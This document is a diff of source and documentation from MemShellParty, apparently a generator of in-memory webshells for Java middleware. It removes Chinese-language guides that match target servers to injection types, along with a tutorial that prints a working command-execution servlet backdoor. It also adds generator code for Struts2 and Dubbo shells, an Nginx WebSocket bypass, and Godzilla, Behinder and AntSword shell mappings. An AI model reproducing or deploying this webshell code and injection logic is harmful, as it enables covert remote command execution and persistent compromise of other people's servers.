-```bash
-# Basic build (defaults to root path "/")
-docker buildx build \
-    --build-arg VERSION=1.7.0 \
-    -t memshell-party:latest . --load
-
-# Run the basic image, access at http://127.0.0.1:8080
-docker run -it -d -p 8080:8080 memshell-party:latest
-
-# Build with custom access path (e.g., /memshell-party)
-docker buildx build \
-    --build-arg VERSION=1.7.0 \
-    --build-arg ROUTE_ROOT_PATH=/memshell-party \
-    --build-arg CONTEXT_PATH=/memshell-party \
-    -t memshell-party:latest . --load
-    
-# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
-docker run -it -p 8080:8080 \
-    -e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
-    memshell-party:latest
-```
-
-If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
-
-Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
-`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
-
-```text
-location /memshell-party {
-  proxy_pass http://127.0.0.1:8080;
-  proxy_set_header Host $http_host;
-  proxy_set_header X-Forwarded-By $server_addr:$server_port;
-  proxy_set_header X-Forwarded-For $remote_addr;
-  proxy_http_version 1.1;
-  proxy_connect_timeout 3s;
-  proxy_read_timeout 300s;
-  proxy_send_timeout 300s;
-  proxy_buffer_size 16k;
-  proxy_buffers 8 64k;
-  proxy_busy_buffers_size 128k;
-}
-```
-
-## Contribute
-
-> Any feedback or issue discussion you provide is a contribution to this project.
-
-> It will be so nice if you want to contribute. 🎉
-
-1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs. 
-2. If you are skilled in writing memory shells, try adding support for a new type or target. 
-3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
-
-For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
-
-## Thanks
+## Special Thanks

+- [vulhub/java-chains](https://github.com/vulhub/java-chains)
 - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
+- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)

 ### Let's start the party 🎉
@@ -1,130 +0,0 @@
-# Java 服务简介
-
-以下服务仅我个人遇到的一些场景，与实际攻防场景可能仍有差距，但是在 MemShellParty
-中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充，欢迎 PR 交流学习~
-
-## Tomcat
-
-> https://tomcat.apache.org/
-
-Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现，限制较少，在 MemShellParty 中，服务类型选 Tomcat 即可生成 Tomcat
-内存马。
-
-一般而言，SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能，比如 Nacos，这种情况下可以选择 Tomcat 内存马注入。
-
-其他服务中，致远 OA、Confluence、帆软使用的是 Tomcat。
-
-## Jetty
-
-> https://jetty.org/
-
-Jetty6 版本使用的包名为 `org.mortbay.jetty`，而 7 以上使用的是 `org.eclipse.jetty`，在测试最新的 Jenkins 时，发现 Jetty11+
-版本支持 ee8 ~ ee10 的环境，包名对应的是 `org.eclipse.jetty.ee8`，这些在 MemShellParty 中均已支持，因此服务类型选 Jetty
-即可生成 Jetty 内存马。
-
-在 SpringWebMVC 项目中也是有可能使用的。
-
-## JBoss
-
-> JBossAS: https://jbossas.jboss.org/downloads
-
-> JBossEAP: https://developers.redhat.com/products/eap/download
-
-JBoss 分为 JBossAS 和 JBossEAP，JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现，JBossEAP7 及其以上使用的
-[Undertow](https://undertow.io/) 提供的 Servlets 实现。
-
-因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成，而 JBossEAP7 服务类型需要选择
-Undertow 进行内存马的生成。
-
-## Wildfly
-
-> https://www.wildfly.org/
-
-Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现，因此服务类型选择 Undertow 生成内存马
-
-## GlassFish
-
-> https://glassfish.org/
-
-GlassFish 使用的是 Catalina 提供的 Servlets 实现，但是使用了 OSGI 类加载模式，因此类限制较为严重，在 MemShellParty 中，服务类型选择
-GlassFish 进行内存马的生成。
-
-## Payara
-
-> https://www.payara.fish/downloads/
-
-基于 GlassFish 开发，服务类型选择 GlassFish 进行内存马的生成。
-
-## Resin
-
-> https://caucho.com/products/resin/download
-
-Resin 使用的包名为 `com.caucho.`，服务类型选择 Resin 进行内存马的生成。
-
-泛微 OA 使用的就是 Resin 提供的服务。
-
-## WebLogic
-
-> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
-
-WebLogic 使用的包名为 `weblogic.`，服务类型选择 WebLogic 进行内存马的生成。
-
-## WebSphere
-
-> https://www.ibm.com/products/websphere-application-server
-
-WebSphere 是 IBM 研发的商用 Servlets 容器，开源版本为 Websphere liberty，
-包名为 `com.ibm.`，服务类型选择 WebSphere 进行内存马的生成。
-
-## BES
-
-> https://www.bessystem.com/
-
-BES 宝兰德，其基于 Tomcat 进行二开，在 BES 9.5.1 版本中没有进行包名修改，而在 BES 9.5.2
-版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本，服务类型选择 Tomcat 进行内存马的生成，BES 9.5.2+ 服务类型选择
-BES 进行内存马的生成。
-
-## TongWeb
-
-> https://www.tongtech.com/sy.html
-
-TongWeb 东方通，其基于 Tomcat 进行二开，并且在最初的 6 版本就进行了包名修改，每个版本都进行了修改。
-
- TongWeb6: `com.tongweb.web.thor.`
- TongWeb7: `com.tongweb.catalina.`
- TongWeb8: `com.tongweb.server.`
-
-这三个版本在 MemShellParty 中均有适配，服务类型选择 TongWeb 进行内存马的生成。
-
-## Apusic
-
-> https://www.apusic.com/
-
-金蝶中间件，Apusic9 疑似魔改自 GlassFish，不过改得面目全非了，自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
-版本服务类型选择
-Apusic 进行内存马生成，Apusic10 版本选择 GlassFish 进行内存马生成。
-
-## Primeton
-
-> https://www.primeton.com/products/pas/
-
-普元中间件，Primeton6.5 版本基于 GlassFish
-二开，高版本疑似做了包名修改，但没有环境，因此暂未适配（[#60](https://github.com/ReaJason/MemShellParty/issues/60)）因此当前仅支持
-Primeton6.5 版本，服务类型选择 GlassFish 进行内存马生成。
-
-## InforSuite
-
-中创中间件，InforSuite 基于 GlassFish 进行二开，不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
-iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
-
-## SpringWebMVC
-
-Spring 框架，默认的 MVC 架构，官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow，也可打包成 war 包部署于任意 Servlets
-容器上。内存马注入场景下不推荐框架内存马，而是具体的 Servlets 容器内存马，因为可绕过框架的限制（鉴权或其他）。服务类型选择
-SpringWebMVC 进行内存马生成。
-
-## SpringWebFlux
-
-Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件，底层使用的 Netty，一般常见于各种 SpringCloud 项目，例如网关。服务类型选择
-SpringWebFlux 进行内存马生成。
-
@@ -1,54 +0,0 @@
-## 如何使用自定义内存马功能
-
-MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入，注入的伪代码如下：
-
-```java
-Object context = getContext();
-Object shell = defineClass(getShellBase64Str());
-
-inject(context, shell);
-```
-
-自定义内存马就是开放 getShellBase64Str 的修改，通过生成界面传入内存马的 base64 或 class 文件来实现。
-
-注入器的选择，在通过生成界面选完目标服务和挂载类型就已经确认好了，无法自定义。
-
-### 实现参考
-
-1. Servlets 相关内存马使用 javax.servlet 即可，当挂载类型选为 Jakarta 开头，在生成时会自动将 javax 改为
-   jakarta，无须重复实现。
-2. Listener 内存马生成时，通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
-   方法上，因此推荐按参考实现一样使用空实现，额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
-3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可，当选中 BES/TongWeb 等会自动改为其特有的包名前缀，无须重复实现。
-4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类，因为 Agent
-   内存马类会放进所增强类的 ClassLoader 中，部分中间件会存在模块隔离，无法直接使用部分类，例如 `java.util.Base64`、
-   `javax.crypto.Cipher`。
-
-| 挂载类型                                                     | 参考实现                                                                                                                                                                                                |
-|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| Servlet/JakartaServlet                                   | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java)                               |
-| Filter/JakartaFilter                                     | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java)                                 |
-| Listener/JakartaListener                                 | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java)                             |
-| Valve/JakartaValve                                       | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java)                                   |
-| ProxyValve/JakartaProxyValve                             | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
-| WebSocket/JakartaWebSocket                               | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java)                           |
-| (SpringWebMVC)Interceptor/JakartaInterceptor             | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java)                       |
-| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java)           |
-| (SpringWebFlux)WebFilter                                 | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java)                           |
-| (SpringWebFlux)HandlerMethod                             | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java)                   |
-| (SpringWebFlux)HandlerFunction                           | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java)               |
-| NettyHandler                                             | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java)                     |
-| AgentFilterChain/AgentContextValve                       | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
-| (SpringWebMVC)AgentFrameworkServlet                      | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
-| (Jetty)AgentHandler                                      | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java)                     |
-| (WAS)AgentFilterManager                                  | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
-| (WebLogic)AgentServletContext                            | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
-| (Undertow)AgentServletHandler                            | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
-
-### 参考步骤
-
-1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
-2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
-3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
-4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
-5. 在生成界面，选择目标服务 - Custom - 挂载类型，上传 class 文件，选择打包方式并生成
@@ -1,98 +0,0 @@
-# Java Servlet
-
-Java SE 中我们可以创建 socket 服务端为用户提供服务，但需要用户使用 socket 客户端，当然也可以基于 socket 实现 HTTP 协议，WebFlux 就是这样子的存在。而在 Java EE 中，Java 制定了 Servlet 规范，来规范在 Java 中提供 HTTP 服务的编写方式，其中有两个重要的概念，Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件，由容器进行管理，提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务，必须支持 HTTP，并且管理 Servlet 的生命周期，使 Servlet 在一个受限的安全环境中执行。
-
-Servlet 规范旨在让开发者基于规范开发的应用，可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西，Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
-
-目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
-
-## ServletContext
-
-> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
-
-ServletContext 定义了 Servlet 运行的 Web 应用视图，一个 Web 应用对应一个 ServletContext。
-
-ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener，对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
-
-```java
-addServlet(String servletName, String className);
-addServlet(String servletName, Servlet servlet);
-addServlet(String servletName, Class <? extends Servlet> servletClass);
-addFilter(String filterName, String className);
-addFilter(String filterName, Filter filter);
-addFilter(String filterName, Class <? extends Filter> filterClass);
-void addListener(String className);
-void addListener(T t);
-void addListener(Class <? extends EventListener> listenerClass);
-```
-
-这就是在注入内存马时我们需要先拿 Context 的原因（已经写在了 Servlet 规范里面啦），所以针对实现了 Servlet 规范的 Web 容器都是一个套路，并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是，其规定了这些方法只能在应用初始化的时候调用，我们注入内存马的时候已经是应用运行时了，那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
-
-## HttpServlet
-
-99.99% 的时候，我们实现 HttpServlet 抽象类给予我们的能力就可以了，以下每个方法都对应了 HTTP Method 方法，当我们想要实现处理 Get 请求实现 doGet，处理 Post 请求就实现 doPost。
-
-```java
-protected void doGet(HttpServletRequest req, HttpServletResponse resp);
-protected void doPost(HttpServletRequest req, HttpServletResponse resp);
-protected void doPut(HttpServletRequest req, HttpServletResponse resp);
-protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
-protected void doHead(HttpServletRequest req, HttpServletResponse resp);
-protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
-protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
-```
-
-Servlet 规范中规定了，对于非分布式应用来说，Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例，但是 Web 服务是多线程的，所以 Servlet 是线程不安全的，在 Servlet 中的成员变量都是线程不安全的。
-
-针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法，以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
-
-```java
-@WebServlet(”/foo”)
-public class CalculatorServlet extends HttpServlet{
-//...
-}
-```
-
-```xml
-<servlet>
-    <servlet-name>foo</servlet-name>
-    <servlet-class>org.example.CalculatorServlet</servlet-class>
-</servlet>
-<servlet-mapping>
-    <servlet-name>foo</servlet-name>
-    <url-pattern>/foo</url-pattern>
-</servlet-mapping>
-```
-
-## ServletShell
-
-shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
-
-1. doGet 调用转发给 doPost，这样我们即支持 GET 也支持 POST，防止某些情况下有请求方法的限制。
-2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
-
-```java
-public class CommandServlet extends HttpServlet {
-    public static String paramName;
-
-    @Override
-    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
-        doPost(req, resp);
-    }
-
-    @Override
-    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
-        String cmd = request.getParameter(paramName);
-        if (cmd != null) {
-            Process exec = Runtime.getRuntime().exec(cmd);
-            InputStream inputStream = exec.getInputStream();
-            ServletOutputStream outputStream = response.getOutputStream();
-            byte[] buf = new byte[8192];
-            int length;
-            while ((length = inputStream.read(buf)) != -1) {
-                outputStream.write(buf, 0, length);
-            }
-        }
-    }
-}
-```
@@ -1,5 +1,5 @@
 plugins {
-    id("java")
+    id("java-library")
    alias(libs.plugins.lombok)
    id("maven-publish-convention")
 }
@@ -29,17 +29,21 @@ tasks.test {
 dependencies {
    implementation(project(":memshell-party-common"))
    implementation(project(":packer"))
-    implementation(libs.byte.buddy)
+    api(libs.byte.buddy)
    implementation(libs.asm.commons)
    implementation(libs.javax.websocket.api)
+    implementation(libs.jakarta.websocket.client.api)
    implementation(libs.javax.servlet.api)
+    implementation(libs.jakarta.servlet.api)
    implementation(libs.spring.webmvc)
    implementation(libs.spring.webflux)
+    implementation(libs.tomcat.embed.core)
    implementation(libs.reactor.netty.core)
-
+    implementation(libs.alibaba.dubbo)
+    implementation(libs.apache.dubbo)
+    implementation(libs.jackson.annotations)
    implementation(libs.bundles.jna)
-    implementation(libs.bcel)
-    implementation(libs.jackson.databind)
+
    testImplementation(libs.junit.jupiter)
    testImplementation(libs.hamcrest)
    testRuntimeOnly(libs.junit.platform.launcher)
@@ -20,4 +20,6 @@ public class Server {
    public static final String SpringWebMvc = "SpringWebMvc";
    public static final String SpringWebFlux = "SpringWebFlux";
    public static final String XXLJOB = "XXLJOB";
+    public static final String Struts2 = "Struts2";
+    public static final String Dubbo = "Dubbo";
 }
@@ -1,13 +1,23 @@
 package com.reajason.javaweb.memshell;

 import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.asm.ClassInterfaceUtils;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
+import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
 import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeMethod;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
 import com.reajason.javaweb.utils.CommonUtil;
+import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.Strings;
 import org.apache.commons.lang3.tuple.Pair;

 import java.util.Map;
@@ -24,15 +34,6 @@ public class MemShellGenerator {
        if (server == null) {
            throw new GenerationException("Unsupported server: " + serverName);
        }
-
-        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
-            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
-        }
-
-        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
-            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
-        }
-
        Class<?> injectorClass = null;

        if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
@@ -47,14 +48,67 @@ public class MemShellGenerator {
            shellToolConfig.setShellClass(shellClass);
        }

+        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
+            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
+        }
+
+        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
+            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
+        }
+
+        if (shellConfig.isLambdaSuffix()) {
+            shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
+            injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
+        }
+
        byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);

+        if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
+            String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
+            String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
+            String interfaceName = packageName + ".I" + simpleName;
+            injectorConfig.setInjectorHelperClassName(interfaceName);
+            injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
+            shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
+            String urlPattern = injectorConfig.getUrlPattern();
+            if (Strings.CS.equalsAny(urlPattern, "/*", "/")
+                    || StringUtils.isBlank(urlPattern)) {
+                injectorConfig.setUrlPattern(interfaceName);
+            }
+        }
+
+        if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
+                || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
+            String helperClassName = shellToolConfig.getShellClassName() + "$1";
+            injectorConfig.setInjectorHelperClassName(helperClassName);
+            injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
+        }
+
        injectorConfig.setInjectorClass(injectorClass);
        injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
        injectorConfig.setShellClassBytes(shellBytes);

        InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
        byte[] injectorBytes = injectorGenerator.generate();
+        if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
+            ProbeConfig probeConfig = ProbeConfig.builder()
+                    .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
+                    .probeMethod(ProbeMethod.ResponseBody)
+                    .probeContent(ProbeContent.Bytecode)
+                    .targetJreVersion(shellConfig.getTargetJreVersion())
+                    .byPassJavaModule(shellConfig.isByPassJavaModule())
+                    .shrink(shellConfig.isShrink())
+                    .debug(shellConfig.isDebug())
+                    .staticInitialize(injectorConfig.isStaticInitialize())
+                    .build();
+            ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                    .server(serverName)
+                    .base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
+                    .build();
+            injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
+            injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
+        }
+
        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();

        return MemShellResult.builder()
@@ -8,6 +8,8 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
+import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
+import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;

 import java.util.Collections;
 import java.util.List;
@@ -44,6 +46,8 @@ public class ServerFactory {
        register(Server.SpringWebMvc, SpringWebMvc::new);
        register(Server.SpringWebFlux, SpringWebFlux::new);
        register(Server.XXLJOB, XxlJob::new);
+        register(Server.Struts2, Struts2::new);
+        register(Server.Dubbo, Dubbo::new);

        addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                .addShellClass(SERVLET, GodzillaServlet.class)
@@ -58,6 +62,8 @@ public class ServerFactory {
                .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
                .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
                .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
+                .addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
+                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -69,10 +75,16 @@ public class ServerFactory {
                .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
                .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
-                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
+                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
+                .addShellClass(ACTION, GodzillaStruts2Action.class)
+                .addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
+                .addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
                .build());

        addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -97,6 +109,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
+                .addShellClass(ACTION, BehinderStruts2Action.class)
                .build());

        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -114,6 +127,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
+                .addShellClass(ACTION, AntSwordStruts2Action.class)
                .build());

        addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -129,6 +143,9 @@ public class ServerFactory {
                .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
                .addShellClass(WEBSOCKET, CommandWebSocket.class)
                .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(UPGRADE, CommandUpgrade.class)
                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -140,10 +157,16 @@ public class ServerFactory {
                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
                .addShellClass(AGENT_FILTER_CHAIN, Command.class)
                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
+                .addShellClass(HANDLER, CommandJettyHandler.class)
+                .addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
+                .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
+                .addShellClass(ACTION, CommandStruts2Action.class)
+                .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
+                .addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
                .build());

        addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -169,6 +192,33 @@ public class ServerFactory {
